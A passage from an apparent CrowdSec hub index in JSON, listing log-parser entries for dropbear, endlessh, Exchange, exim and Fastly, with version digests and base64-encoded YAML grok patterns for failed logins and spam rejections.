"UGFyc2VyIGZvciBkcm9wYmVhciBTU0ggc2VydmVyLg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnZHJvcGJlYXInIgpuYW1lOiBjcm93ZHNlY3VyaXR5L2Ryb3BiZWFyLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBkcm9wYmVhciBsb2dzIgpub2RlczoKICAtIGdyb2s6IAogICAgICBwYXR0ZXJuOiAiQmFkIFBBTSBwYXNzd29yZCBhdHRlbXB0IGZvciAnJXtEQVRBOnVzZXJ9JyBmcm9tICV7SVA6c291cmNlX2lwfTole0lOVDpwb3J0fSIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAtIGdyb2s6IAogICAgICBwYXR0ZXJuOiAiTG9naW4gYXR0ZW1wdCBmb3Igbm9uZXhpc3RlbnQgdXNlciBmcm9tICV7SVA6c291cmNlX2lwfTole0lOVDpwb3J0fSIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAtIG1ldGE6IHNlcnZpY2UKICAgIHZhbHVlOiBkcm9wYmVhcgogIC0gbWV0YTogdGFyZ2V0X3VzZXIKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudXNlcgogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnNvdXJjZV9pcAogIC0gbWV0YTogbG9nX3R5cGUKICAgIHZhbHVlOiBzc2hfZmFpbGVkLWF1dGgK", "description": "Parse dropbear logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/endlessh-logs": { "path": "parsers/s01-parse/crowdsecurity/endlessh-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "dc1affad319badddf95ad1a16bf633b6fd70ed02db0e490dc0540eef47576f2a", "deprecated": false }, "0.2": { "digest": "ca022caa2de3a13101bea25006686a4d92ffb0e7bd558e44d215f481526632f1", "deprecated": false } }, "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5MaW5lLkxhYmVscy50eXBlID09ICdlbmRsZXNzaCciCm5hbWU6IGNyb3dkc2VjdXJpdHkvZW5kbGVzc2gtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIEVuZGxlc3NoIGxvZ3MiCnBhdHRlcm5fc3ludGF4OgogIEVORExFU1NIX0FDQ0VQVF9WNDogIiV7VElNRVNUQU1QX0lTTzg2MDE6dGltZXN0YW1wfSBBQ0NFUFQgaG9zdD0oOjpmZmZmOik/JXtJUFY0OnNvdXJjZV9pcH0gIgogIEVORExFU1NIX0FDQ0VQVF9WNjogIiV7VElNRVNUQU1QX0lTTzg2MDE6dGltZXN0YW1wfSBBQ0NFUFQgaG9zdD0le0lQVjY6c291cmNlX2lwfSAiCm5vZGVzOgogIC0gZ3JvazoKICAgICAgbmFtZTogIkVORExFU1NIX0FDQ0VQVF9WNCIKICAgICAgYXBwbHlfb246IExpbmUuUmF3CiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IGVuZGxlc3NoX2FjY2VwdAogIC0gZ3JvazoKICAgICAgbmFtZTogIkVORExFU1NIX0FDQ0VQVF9WNiIKICAgICAgYXBwbHlfb246IExpbmUuUmF3CiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IGVuZGxlc3NoX2FjY2VwdApzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IGVuZGxlc3NoCiAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcAogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfaXAiCg==", "description": "Parse Endlessh logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/exchange-imap-logs": { "path": "parsers/s01-parse/crowdsecurity/exchange-imap-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "13a7780e3f01839342580cb6845342ad612f06b34b35f540f0e31c7509999da2", "deprecated": false } }, "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdleGNoYW5nZS1pbWFwJyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L2V4Y2hhbmdlLWltYXAtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIGV4Y2hhbmdlIElNQVAgbG9ncyIKI2RhdGVUaW1lLHNlc3Npb25JZCxzZXFOdW1iZXIsc0lwLGNJcCx1c2VyLGR1cmF0aW9uLHJxc2l6ZSxycHNpemUsY29tbWFuZCxwYXJhbWV0ZXJzLGNvbnRleHQscHVpZAojMjAyMi0wNi0xNlQwOTo0MToyMS4wOTRaLDAwMDAwMDAwMDAwMDAwNEIsMiwxOTIuMTY4LjkuMjQxOjk5MywxOTIuMTY4LjkuMjEyOjQ5MDE2LGZvb2JhciwzNCwzMSwzMSxhdXRoZW50aWNhdGUsUExBSU4sIlI9IiIyIE5PIEFVVEhFTlRJQ0FURSBmYWlsZWQuIiI7TXNnPSIiQXV0aEZhaWxlZDpMb2dvbkRlbmllZCxVc2VyOiBmb29iYXIiIjtFcnJNc2c9QXV0aEZhaWxlZDpMb2dvbkRlbmllZCIsCmdyb2s6CiAgcGF0dGVybjogIiV7VElNRVNUQU1QX0lTTzg2MDE6ZGF0ZX0sJXtEQVRBOnNlc3Npb25faWR9LCV7SU5UOnNlcXVlbmNlX251bWJlcn0sJXtJUE9SSE9TVDpzZXJ2ZXJfaXB9OiV7SU5UOnNlcnZlcl9wb3J0fSwle0lQT1JIT1NUOmNsaWVudF9pcH06JXtJTlQ6Y2xpZW50X3BvcnR9LCV7REFUQTp1c2VybmFtZX0sJXtJTlQ6ZHVyYXRpb259LCV7SU5UOnJxc2l6ZX0sJXtJTlQ6cnBzaXplfSwle1dPUkQ6Y29tbWFuZH0sJXtEQVRBOnBhcmFtZXRlcnN9LCV7REFUQX1BdXRoRmFpbGVkOkxvZ29uRGVuaWVkXCIsJXtEQVRBOnB1aWR9PyIKICBhcHBseV9vbjogbWVzc2FnZQpzdGF0aWNzOgogIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kYXRlCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuY2xpZW50X2lwCiAgLSBtZXRhOiBzZXJ2aWNlCiAgICB2YWx1ZTogZXhjaGFuZ2UKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogaW1hcAogIC0gbWV0YTogc3ViX3R5cGUKICAgIHZhbHVlOiBhdXRoX2ZhaWw=", "description": "Parse exchange IMAP logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/exchange-pop-logs": { "path": "parsers/s01-parse/crowdsecurity/exchange-pop-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "a63be634585ef106f64781029c01f4fc8bfc77bb277a70775c73c181a467894f", "deprecated": false } }, "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdleGNoYW5nZS1wb3AnIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKI2RlYnVnOiB0cnVlCm5hbWU6IGNyb3dkc2VjdXJpdHkvZXhjaGFuZ2UtcG9wLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBleGNoYW5nZSBQT1AgbG9ncyIKI2RhdGVUaW1lLHNlc3Npb25JZCxzZXFOdW1iZXIsc0lwLGNJcCx1c2VyLGR1cmF0aW9uLHJxc2l6ZSxycHNpemUsY29tbWFuZCxwYXJhbWV0ZXJzLGNvbnRleHQscHVpZAojMjAyMi0wNi0yMFQwMDowMzo0OC41MzFaLDAwMDAwMDAwMDAwMDFFODYsMSwxOTIuMTY4LjkuMjQxOjk5NSwxOTIuMTY4LjkuMjEyOjMzNTI2LHRlc3R1c2VyLDE3MSwyMSw2OSxhdXRoLCBQTEFJTiwiUj0iIi1FUlIgQXV0aGVudGljYXRpb24gZmFpbHVyZTogdW5rbm93biB1c2VyIG5hbWUgb3IgYmFkIHBhc3N3b3JkLiIiO01zZz0iIkF1dGhGYWlsZWQ6TG9nb25EZW5pZWQsVXNlcjogdGVzdHVzZXIiIjtFcnJNc2c9QXV0aEZhaWxlZDpMb2dvbkRlbmllZCIsCmdyb2s6CiAgcGF0dGVybjogIiV7VElNRVNUQU1QX0lTTzg2MDE6ZGF0ZX0sJXtEQVRBOnNlc3Npb25faWR9LCV7SU5UOnNlcXVlbmNlX251bWJlcn0sJXtJUE9SSE9TVDpzZXJ2ZXJfaXB9OiV7SU5UOnNlcnZlcl9wb3J0fSwle0lQT1JIT1NUOmNsaWVudF9pcH06JXtJTlQ6Y2xpZW50X3BvcnR9LCV7REFUQTp1c2VybmFtZX0sJXtJTlQ6ZHVyYXRpb259LCV7SU5UOnJxc2l6ZX0sJXtJTlQ6cnBzaXplfSwle1dPUkQ6Y29tbWFuZH0sJXtEQVRBOnBhcmFtZXRlcnN9LCV7REFUQX1BdXRoRmFpbGVkOkxvZ29uRGVuaWVkXCIsJXtEQVRBOnB1aWR9PyIKICBhcHBseV9vbjogbWVzc2FnZQpzdGF0aWNzOgogIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kYXRlCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuY2xpZW50X2lwCiAgLSBtZXRhOiBzZXJ2aWNlCiAgICB2YWx1ZTogZXhjaGFuZ2UKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogcG9wCiAgLSBtZXRhOiBzdWJfdHlwZQogICAgdmFsdWU6IGF1dGhfZmFpbA==", "description": "Parse exchange POP logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/exchange-smtp-logs": { "path": "parsers/s01-parse/crowdsecurity/exchange-smtp-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "158fe6b19f9cc5b900de750c43522a86e68691156e489e1922b7c89e6f9300fe", "deprecated": false }, "0.2": { "digest": "a9aff504ce013489311d4c85e6fe4f7594326e6351a7c024c93cd15950f66c09", "deprecated": false } }, "long_description": "QSBwYXJzZXIgZm9yIGV4Y2hhbmdlIFNNVFAgcHJvdG9jb2wgbG9ncy4KCg==", "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdleGNoYW5nZS1zbXRwJyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L2V4Y2hhbmdlLXNtdHAtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIGV4Y2hhbmdlIFNNVFAgbG9ncyIKI2RhdGUtdGltZSxjb25uZWN0b3ItaWQsc2Vzc2lvbi1pZCxzZXF1ZW5jZS1udW1iZXIsbG9jYWwtZW5kcG9pbnQscmVtb3RlLWVuZHBvaW50LGV2ZW50LGRhdGEsY29udGV4dAojMjAyMi0wNC0yOFQxMzoyNDo1MC4yMDBaLEVYQ0hBTkdFLTFcRGVmYXVsdCBGcm9udGVuZCBFWENIQU5HRS0xLDA4REEyOEE5QUY2NzEyNjcsMTUsMTkyLjE2OC45LjI0MToyNSwxOTIuMTY4LjkuMjEyOjI4NjU3LD4sNTM1IDUuNy4zIEF1dGhlbnRpY2F0aW9uIHVuc3VjY2Vzc2Z1bCwKZ3JvazoKICBwYXR0ZXJuOiAiJXtUSU1FU1RBTVBfSVNPODYwMTpkYXRlfSwle0RBVEE6Y29ubmVjdG9yX2lkfSwle0RBVEE6c2Vzc2lvbl9pZH0sJXtJTlQ6c2VxdWVuY2VfbnVtYmVyfSwle0lQT1JIT1NUOnNlcnZlcl9pcH06JXtJTlQ6c2VydmVyX3BvcnR9LCV7SVBPUkhPU1Q6Y2xpZW50X2lwfTole0lOVDpjbGllbnRfcG9ydH0sJXtEQVRBOmV2ZW50fSwle0lOVDpzbXRwX2NvZGV9IFteIF0rICV7REFUQTpzbXRwX21lc3NhZ2V9LCIKICBhcHBseV9vbjogbWVzc2FnZQpzdGF0aWNzOgogIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kYXRlCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuY2xpZW50X2lwCiAgLSBtZXRhOiBzbXRwX21lc3NhZ2UKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuc210cF9tZXNzYWdlCiAgLSBtZXRhOiBzZXJ2aWNlCiAgICB2YWx1ZTogZXhjaGFuZ2UKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogc210cAogIC0gbWV0YTogc3ViX3R5cGUKICAgIHZhbHVlOiBhdXRoX2ZhaWw=", "description": "Parse exchange SMTP logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/exim-logs": { "path": "parsers/s01-parse/crowdsecurity/exim-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "507fd358283a08ff01d7fd2a19c5aec6e9be18e37008bcd470d4af8d71b94db2", "deprecated": false } }, "long_description": "RXhpbSBsb2dzIHBhcnNlcgo=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2V4aW0nIgpuYW1lOiBjcm93ZHNlY3VyaXR5L2V4aW0tbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIGV4aW0gbG9ncyIKcGF0dGVybl9zeW50YXg6CiAgTk9fRE9VQkxFX1FVT1RFOiAnW14iXSsnCiAgTk9fR1JFQVRFUjogJ1tePl0rJwogIE5PX0VORF9CUkFDS0VUOiAnW15cXV0rJwogIE5PX0VORF9QQVI6ICdbXlwpXSsnCiAgTk9TUEFDRTogJ1teIF0rJwogIERBVEVfVDogJ1swLTktXSsgWzAtOTpdKycKICBFWElNX0hFQURFUjogJyV7REFURV9UOmRhdGV9IGRvdmVjb3RfKGxvZ2lufHBsYWluKScKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtFWElNX0hFQURFUn0gYXV0aGVudGljYXRvciBmYWlsZWQgZm9yIFwoXFsle05PX0VORF9CUkFDS0VUOnRhcmdldF9pcH1cXVwpIFxbJXtOT19FTkRfQlJBQ0tFVDpzb3VyY2VfaXB9XF06JXtJTlQ6c291cmNlX3BvcnR9OiAle0lOVH0gSW5jb3JyZWN0IGF1dGhlbnRpY2F0aW9uIGRhdGEgXChzZXRfaWQ9JXtOT19FTkRfUEFSOnRhcmdldF91c2VyfVwpJwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBleGltX2ZhaWxlZF9hdXRoCiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmRhdGUKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICcle0VYSU1fSEVBREVSfSBhdXRoZW50aWNhdG9yIGZhaWxlZCBmb3IgXCgle05PX0VORF9QQVI6dGFyZ2V0X2Ruc31cKSBcWyV7Tk9fRU5EX0JSQUNLRVQ6c291cmNlX2lwfVxdOiV7SU5UOnNvdXJjZV9wb3J0fTogJXtJTlR9IEluY29ycmVjdCBhdXRoZW50aWNhdGlvbiBkYXRhIFwoc2V0X2lkPSV7Tk9fRU5EX1BBUjp0YXJnZXRfdXNlcn1cKScKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogZXhpbV9mYWlsZWRfYXV0aAogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kYXRlCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtFWElNX0hFQURFUn0gYXV0aGVudGljYXRvciBmYWlsZWQgZm9yICV7Tk9TUEFDRTp0YXJnZXRfZG5zfSBcKFxbJXtOT19FTkRfQlJBQ0tFVDp0YXJnZXRfaXB9XF1cKSBcWyV7Tk9fRU5EX0JSQUNLRVQ6c291cmNlX2lwfVxdOiV7SU5UOnNvdXJjZV9wb3J0fTogJXtJTlR9IEluY29ycmVjdCBhdXRoZW50aWNhdGlvbiBkYXRhIFwoc2V0X2lkPSV7Tk9fRU5EX1BBUjp0YXJnZXRfdXNlcn1cKScKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogZXhpbV9mYWlsZWRfYXV0aAogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kYXRlCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtEQVRFX1Q6ZGF0ZX0gSD0le05PU1BBQ0U6c291cmNlX2Ruc30gXFsle05PX0VORF9CUkFDS0VUOnNvdXJjZV9pcH1cXTole0lOVDpzb3VyY2VfcG9ydH0gRj08JXtOT19HUkVBVEVSOnNvdXJjZV91c2VyfT4gcmVqZWN0ZWQgUkNQVCA8JXtOT19HUkVBVEVSOnRhcmdldF91c2VyfT46ICJKdW5rTWFpbCByZWplY3RlZCAtICV7Tk9TUEFDRX0gXFsle05PX0VORF9CUkFDS0VUfVxdOiV7SU5UfSBpcyBpbiBhbiBSQkw6ICV7Tk9fRE9VQkxFX1FVT1RFOnJibF91cmx9IicKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogc3BhbS1hdHRlbXB0CiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmRhdGUKICAgICAgICAtIG1ldGE6IHJibF91cmwKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQucmJsX3VybAogICAgICAgIC0gbWV0YTogc291cmNlX3VzZXIKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuc291cmNlX3VzZXIKICAgICAgICAtIG1ldGE6IHNvdXJjZV9kbnMKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9kbnMiCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtEQVRFX1Q6ZGF0ZX0gSD0le05PU1BBQ0U6c291cmNlX2Ruc30gXFsle05PX0VORF9CUkFDS0VUOnNvdXJjZV9pcH1cXTole0lOVDpzb3VyY2VfcG9ydH0gWD0le05PU1BBQ0U6dGxzX2NpcGhlcn0gQ1Y9JXtOT1NQQUNFfSBGPTwle05PX0dSRUFURVI6c291cmNlX3VzZXJ9PiByZWplY3RlZCBSQ1BUIDwle05PX0dSRUFURVI6dGFyZ2V0X3VzZXJ9PjogTm8gU3VjaCBVc2VyIEhlcmUnCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IGV4aW1fZmFpbGVkX2F1dGgKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuZGF0ZQogICAgICAgIC0gbWV0YTogc291cmNlX3VzZXIKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuc291cmNlX3VzZXIKICAgICAgICAtIG1ldGE6IHNvdXJjZV9kbnMKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9kbnMiCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtEQVRFX1Q6ZGF0ZX0gSD0le05PU1BBQ0U6c291cmNlX2Ruc30gXFsle05PX0VORF9CUkFDS0VUOnNvdXJjZV9pcH1cXTole0lOVDpzb3VyY2VfcG9ydH0gdGVtcG9yYXJpbHkgcmVqZWN0ZWQgY29ubmVjdGlvbiBpbiAiJXtOT19ET1VCTEVfUVVPVEU6YWNsfSIgQUNMOiAiSG9zdCBpcyByYXRlbGltaXRlZCBcKCV7Tk9fRU5EX1BBUjpyYXRlX2xpbWl0fVwpJwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBzcGFtLWF0dGVtcHQKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuZGF0ZQogICAgICAgIC0gbWV0YTogc291cmNlX3VzZXIKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuc291cmNlX3VzZXIKICAgICAgICAtIG1ldGE6IHNvdXJjZV9kbnMKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9kbnMiCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtEQVRFX1Q6ZGF0ZX0gSD0le05PU1BBQ0U6c291cmNlX2Ruc30gXFsle05PX0VORF9CUkFDS0VUOnNvdXJjZV9pcH1cXTole0lOVDpzb3VyY2VfcG9ydH0gc2VuZGVyIHZlcmlmeSBmYWlsIGZvciA8JXtOT19HUkVBVEVSOnNvdXJjZV91c2VyfT46IFRoZSBtYWlsIHNlcnZlciBkb2VzIG5vdCByZWNvZ25pemUgJXtOT1NQQUNFfSBhcyBhIHZhbGlkIHNlbmRlci4nCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IHNwYW0tYXR0ZW1wdAogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kYXRlCiAgICAgICAgLSBtZXRhOiBzb3VyY2VfdXNlcgogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5zb3VyY2VfdXNlcgogICAgICAgIC0gbWV0YTogc291cmNlX2RucwogICAgICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc291cmNlX2RucyIKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICcle0RBVEVfVDpkYXRlfSBIPSV7Tk9TUEFDRTpzb3VyY2VfZG5zfSBcWyV7Tk9fRU5EX0JSQUNLRVQ6c291cmNlX2lwfVxdOiV7SU5UOnNvdXJjZV9wb3J0fSBYPSV7Tk9TUEFDRTp0bHNfY2lwaGVyfSBDVj0le05PU1BBQ0V9IEY9PCV7Tk9fR1JFQVRFUjpzb3VyY2VfdXNlcn0+IHJlamVjdGVkIFJDUFQgPCV7Tk9fR1JFQVRFUjp0YXJnZXRfdXNlcn0+OiBTZW5kZXIgdmVyaWZ5IGZhaWxlZCcKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogc3BhbS1hdHRlbXB0CiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmRhdGUKICAgICAgICAtIG1ldGE6IHNvdXJjZV91c2VyCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnNvdXJjZV91c2VyCiAgICAgICAgLSBtZXRhOiBzb3VyY2VfZG5zCiAgICAgICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfZG5zIgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJyV7REFURV9UOmRhdGV9IEg9XCgle05PX0VORF9QQVI6c291cmNlX2Ruc31cKSBcWyV7Tk9fRU5EX0JSQUNLRVQ6c291cmNlX2lwfVxdOiV7SU5UOnNvdXJjZV9wb3J0fSBYPSV7Tk9TUEFDRTp0bHNfY2lwaGVyfSBDVj0le05PU1BBQ0V9IEY9PCV7Tk9fR1JFQVRFUjpzb3VyY2VfdXNlcn0+IHJlamVjdGVkIFJDUFQgPCV7Tk9fR1JFQVRFUjp0YXJnZXRfdXNlcn0+OiBTTVRQIEFVVEggaXMgcmVxdWlyZWQgZm9yIG1lc3NhZ2Ugc3VibWlzc2lvbiBvbiBwb3J0ICV7SU5UOnRhcmdldF9wb3J0fScKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogc3BhbS1hdHRlbXB0CiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmRhdGUKICAgICAgICAtIG1ldGE6IHNvdXJjZV91c2VyCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnNvdXJjZV91c2VyCiAgICAgICAgLSBtZXRhOiBzb3VyY2VfZG5zCiAgICAgICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfZG5zIgogICAgICAgIC0gbWV0YTogdGFyZ2V0X3BvcnQKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnRhcmdldF9wb3J0IgpzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IGV4aW0KICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc291cmNlX2lwIgogIC0gbWV0YTogdGFyZ2V0X2lwCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC50YXJnZXRfaXAiCiAgLSBtZXRhOiB0YXJnZXRfZG5zCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC50YXJnZXRfZG5zIgogIC0gbWV0YTogdXNlcm5hbWUKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnRhcmdldF91c2VyIgo=", "description": "Parse exim logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/fastly-logs": { "path": "parsers/s01-parse/crowdsecurity/fastly-logs.yaml", "stage": "s01-parse", "version": "0.6", "versions": { "0.1": { "digest": "8d1cbf3514b3e7f0ff31ab725befdfdd8d2393392450f407937b80456b168b5a", "deprecated": false }, "0.2": { "digest": "b344fa353c085e6651526716184ac7b4299f62ed7fd39163884b1bf865a80230", "deprecated": false }, "0.3": { "digest": "b8dcd888169ab2b9efed507a4d977b3bc7925f4ab834a6765899f0636733f5e5", "deprecated": false }, "0.4": { "digest": "6e34459bf59e89b72e72598605b8c39ef91ac9fcf2b655d02ec56dfc60059ab0", "deprecated": false }, "0.5": { "digest": "7bddb9e5d4eac138276f8e8af31b460f5fd10c0d62977746a78d8d74edda0de7", "deprecated": false }, "0.6": { "digest": "b27ea9a9c982e9f907574456973364fc5b91ea85cebbfbf6ab43f74a51d5064d", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBmYXN0bHkgbG9ncyB3aXRoIGRlZmF1bHQgZm9ybWF0IFsoc2VlIGZhc2x0eSBkb2N1bWVudGF0aW9uKV0oaHR0cHM6Ly9kb2NzLmZhc3RseS5jb20vZW4vZ3VpZGVzL2ludGVncmF0aW9ucyNfbG9nZ2luZy1lbmRwb2ludHMpCgoqKk1hbmRhdG9yeSoqIFlvdSBuZWVkIHRvIGFkZCB0aG9zZSBsYWJlbHMgb24gdGhlIGFjcXVpc2l0aW9uOgpgYGB5YW1sCmxhYmVsczoKICB0eXBlOiBzeXNsb2cKICBleHRlcm5hbF9mb3JtYXQ6IGZhc3RseQpgYGA=", "content": "ZmlsdGVyOiAiZXZ0LkxpbmUuTGFiZWxzLmV4dGVybmFsX2Zvcm1hdCA9PSAnZmFzdGx5JyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L2Zhc3RseS1sb2dzCmRlc2NyaXB0aW9uOiBmYXN0bHkgbG9ncyBwYXJzZXIKcGF0dGVybl9zeW50YXg6CiAgRE9VQkxFX05VTTogIlswLTldezJ9Igpncm9rOgogIHBhdHRlcm46ICIle0dSRUVEWURBVEE6ZmFzdGx5X3RpbWVzdGFtcH1cXCsle0RPVUJMRV9OVU06dHpfcGFydDF9JXtET1VCTEVfTlVNOnR6X3BhcnQyfSIKICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJ0aW1lc3RhbXAiKQpzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IGh0dHAKICAtIG1ldGE6IGxv